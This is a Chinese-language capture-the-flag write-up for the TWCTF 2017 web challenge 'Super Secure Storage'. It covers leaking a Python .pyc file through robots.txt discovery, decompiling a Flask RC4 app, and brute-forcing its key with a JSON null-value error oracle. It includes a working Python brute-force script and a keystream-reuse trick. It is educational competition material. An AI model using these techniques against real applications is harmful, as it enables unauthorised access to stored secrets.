Chybeta

TWCTF 2017-Super Secure Storage-writeup

TWCTF 2017-Super Secure Storage-writeup
python缓存 RC4 爆破

重点:这是web题,不是Crypto

Task

1
http://s3.chal.ctf.westerns.tokyo/#/

Solution

先观察一下基本的功能。你可以输入数据,和一个密钥,发送到服务器端后会加密返回加密后的数据和对应的id。

用扫描器扫后发现有robots.txt,访问后如下:

1
Disallow: /super_secret_secure_shared_directory_for_customer/

接着访问:

1
http://s3.chal.ctf.westerns.tokyo/super_secret_secure_shared_directory_for_customer/

securestorage.conf的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
server {
listen 80;
server_name s3.chal.ctf.westerns.tokyo;
root /srv/securestorage;
index index.html;
location / {
try_files $uri $uri/ @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.securestorage.sock;
}
location ~ (\.py|\.sqlite3)$ {
deny all;
}
}

securestorage.ini的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[uwsgi]
chdir = /srv/securestorage
uid = www-data
gid = www-data
module = app
callable = app
socket = /tmp/uwsgi.securestorage.sock
chmod-socket = 666
vacuum = true
die-on-term = true
logto = /var/log/uwsgi/securestorage.log
processes = 8
env = SECRET_KEY=**CENSORED**
env = KEY=**CENSORED**
env = FLAG=**CENSORED**

从以上文件,我们可以知道这是一个python服务端程序,主程序为app.py,直接访问http://s3.chal.ctf.westerns.tokyo/app.py 会返回403 Forbidden。

在 python-web 应用中,当前目录下, .py文件生成的pyc文件会被存储在 __pycache__文件夹中,并以 .cpython-XX.pyc 为扩展名,其中的 XX 与 CPython 版本有关。比如app.py,其对应的 pyc文件路径为 __pycache__/app.cpython-35.pyc(这里的35是我假设的)。我们尝试访问:

1
http://s3.chal.ctf.westerns.tokyo/__pycache__/app.cpython-35.pyc

发现成功的下载了pyc文件,然后用工具将其反编译回源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
from flask import Flask, jsonify, request
from flask_sqlalchemy import SQLAlchemy
import hashlib
import os
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///./db.sqlite3'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
app.secret_key = os.environ['SECRET_KEY']
db = SQLAlchemy(app)
class Data(db.Model):
__tablename__ = 'data'
id = db.Column(db.Integer, primary_key=True)
key = db.Column(db.String)
data = db.Column(db.String)
def __init__(self, key, data):
self.key = key
self.data = data
def __repr__(self):
return '<Data id:{}, key:{}, data:{}>'.format(self.id, self.key, self.data)
class RC4:
def __init__(self, key=app.secret_key):
self.stream = self.PRGA(self.KSA(key))
def enc(self, c):
return chr(ord(c) ^ next(self.stream))
@staticmethod
def KSA(key):
keylen = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = j + S[i] + ord(key[i % keylen]) & 255
S[i], S[j] = S[j], S[i]
return S
@staticmethod
def PRGA(S):
i = 0
j = 0
while True:
i = i + 1 & 255
j = j + S[i] & 255
S[i], S[j] = S[j], S[i]
yield S[S[i] + S[j] & 255]
def verify(enc_pass, input_pass):
if len(enc_pass) != len(input_pass):
return False
rc4 = RC4()
for x, y in zip(enc_pass, input_pass):
if x != rc4.enc(y):
return False
return True
@app.before_first_request
def init():
db.create_all()
if not Data.query.get(1):
key = os.environ['KEY']
data = os.environ['FLAG']
rc4 = RC4()
enckey = ''
for c in key:
enckey += rc4.enc(c)
rc4 = RC4(key)
encdata = ''
for c in data:
encdata += rc4.enc(c)
flag = Data(enckey, encdata)
db.session.add(flag)
db.session.commit()
@app.route('/api/data', methods=['POST'])
def new():
req = request.json
if not req:
return jsonify(result=False)
for k in ['data', 'key']:
if k not-in req:
return jsonify(result=False)
key, data = req['key'], req['data']
if len(key) < 8 or len(data) == 0:
return jsonify(result=False)
enckey = ''
rc4 = RC4()
for c in key:
enckey += rc4.enc(c)
encdata = ''
rc4 = RC4(key)
for c in data:
encdata += rc4.enc(c)
newdata = Data(enckey, encdata)
db.session.add(newdata)
db.session.commit()
return jsonify(result=True, id=newdata.id, data=newdata.data)
@app.route('/api/data/<int:data_id>')
def data(data_id):
data = Data.query.get(data_id)
if not data:
return jsonify(result=False)
return jsonify(result=True, data=data.data)
@app.route('/api/data/<int:data_id>/check', methods=['POST'])
def check(data_id):
data = Data.query.get(data_id)
if not data:
return jsonify(result=False)
req = request.json
if not req:
return jsonify(result=False)
for k in ['key']:
if k not-in req:
return jsonify(result=False)
enckey, key = data.key, req['key']
if not verify(enckey, key):
return jsonify(result=False)
return jsonify(result=True)
if __name__ == '__main__':
app.run()

app.py 的工作流程约莫如下:

  1. 建立第一个连接时通过init(),用RC4算法,先通过KEY得到enckey,再用enckey来加密FLAG,并保存到sqlite数据库中,对应的id为 1。
  2. 我们访问页面,传入数据和密钥,app.py通过new(),用RC4算法进行加密,并保存到sqlite数据库中,并返回加密的数据和对应的id。
  3. 通过id,访问 /api/data/ ,可以通过data()获得对应id的加密数据。
  4. 在页面中输入密钥,访问 /api/data//check ,可以通过check()对对应id的加密数据进行解密,并返回明文。


上图返回的即为加密后的flag。

看一下check()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def check(data_id):
data = Data.query.get(data_id)
if not data:
return jsonify(result=False)
req = request.json
if not req:
return jsonify(result=False)
for k in ['key']:
if k not-in req:
return jsonify(result=False)
enckey, key = data.key, req['key']
if not verify(enckey, key):
return jsonify(result=False)
return jsonify(result=True)

传入data_id,如果对应id的加密数据不存在中返回false,如果json数据格式包中没有key字段,直接返回false。之后通过enckey, key = data.key, req['key'],将加密数据用的enckey和我们传入的key分别保存到变量enckey和变量key中。接着利用verify(enckey, key)来判断key是否正确。接下来看一下verify()函数:

1
2
3
4
5
6
7
8
def verify(enc_pass, input_pass):
if len(enc_pass) != len(input_pass):
return False
rc4 = RC4()
for x, y in zip(enc_pass, input_pass):
if x != rc4.enc(y):
return False
return True

首先是enc_pass和input_pass长度要相等。接着用zip(enc_pass, input_pass),利用for循环,对input_pass的每个字母进行加密后,与enc_pass的每个字母进行比较,若有不同则返回false。所以这里要过两个关:

  1. 长度
  2. 对应的字母相等。

先说长度。我们只能根据服务器端返回来的信息来判断长度是否符合。我们传入的参数key,服务器端并没有验证它的类型,也就是说我们可以传入一个list,而不是一个字符串,这样同样能传入到verify()函数中。假如我们传入key为[null,null],这里的len(input_pass)即为2,若len(enc_pass) != len(input_pass),则服务器返回False,但若满足了长度要求,则会进行zip(enc_pass, input_pass)并对每个字符加密比较(注:null这里变成了None,原因待会说):

1
2
3
4
5
6
7
>>> encKey = "ab"
>>> key = [None,None]
>>> for x,y in zip(encKey,key):
... print(x,y)
...
a None
b None

在RC4的enc操作中用到了ord():chr(ord(c) ^ next(self.stream))。对于None类型,ord(None)会崩溃掉。

1
2
3
4
5
>>> key = [None,None]
>>> ord(key[1])
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: ord() expected string of length 1, but NoneType found

现在有了两种状态:False 和 Error。基于此即可得出真正key的长度。注意,服务器端接收的数据格式是JSON,在python的文档中定义了json格式和python的转换:

所以我们的key,正如前面提到的传入的list中,填的是null,这样服务器端会自动解码为None。

当POST数据为{"key":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}(15个null)时:

当POST数据为{"key":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}(16个null)时:

这说明服务器端的encKey长度为16。

接下来考虑对应字符是否相等的问题,基于前面的思路,可以利用服务器端的两种状态:False 和 Error 来判断。再看一下verify()函数:

1
2
3
4
5
6
7
8
def verify(enc_pass, input_pass):
if len(enc_pass) != len(input_pass):
return False
rc4 = RC4()
for x, y in zip(enc_pass, input_pass):
if x != rc4.enc(y):
return False
return True

如果我们输入key=["o",null,....,null],如果第一个字符o加密后恰好是encKey的第一个字符,那么它会去比较第二个字符即null,在下一次比较时会进行RC4.enc(y),其中的ord(None)将会造成服务器的崩溃,这是状态一。如果第一个字符1加密后不是encKey的第一个字符,那么会直接返回False,这是状态二。

基于此,可以逐步爆破出每个字符。下面给个利用脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = "http://s3.chal.ctf.westerns.tokyo/api/data/1/check"
proxy = {'http':"127.0.0.1:8080"}
key = [None,None,None,None,None,None,None,None,None,None,None,None,None,None,None,None]
for index in range(16):
for i in range(32,128):
key[index] = str(chr(i))
payload = {"key":key}
text = requests.post(url,json=payload,proxies=proxy).text
if "500 Internal Server Error" in text :
print("".join(key[:index+1]))
break
if "true" in text:
print("".join(key))
exit()

得到key为:t2gavAjbPtj9gyps

最后访问:http://s3.chal.ctf.westerns.tokyo/#/data/1 ,在key部分填上t2gavAjbPtj9gyps

即可得到flag:

1
TWCTF{yet-an0ther-pyth0n-0racle}

还有另一种稍显麻烦的方法(可能,不是稍显hh)。RC4算法中,用先用key生成了一个字节串K,然后用这个字节串K与明文进行异或,从而得到密文。假如我们把FLAG密文当作明文,和key传入,服务器端用key生成的是同一个字节串K,然后把字节串K与FLAG密文进行异或,返回给我们的密文即为FLAG的明文。

FLAG密文串为:\fj\u00aa\u008cQd\u00aeg|\u0085i\"\u0087b:$\u00e85Z\u00fa!R\u00dfE\u001d\u00b1)\u009e\u00d1F\u00d4*

可以看到这个id为81252而不是1,是我们新插入的“密文”。不过这有点不好,因为访问加密的数据是不需要身份验证的,只要访问的id正确,这个flag就会被人看到了,比如你访问id为81191的密文:

不费吹灰之力之力就可以拿到flag。

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:TWCTF 2017-Super Secure Storage-writeup

文章作者:chybeta

发布时间:2017年09月05日 - 15:09

最后更新:2017年09月05日 - 21:09

原始链接:http://chybeta.github.io/2017/09/05/TWCTF-2017-Super-Secure-Storage-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。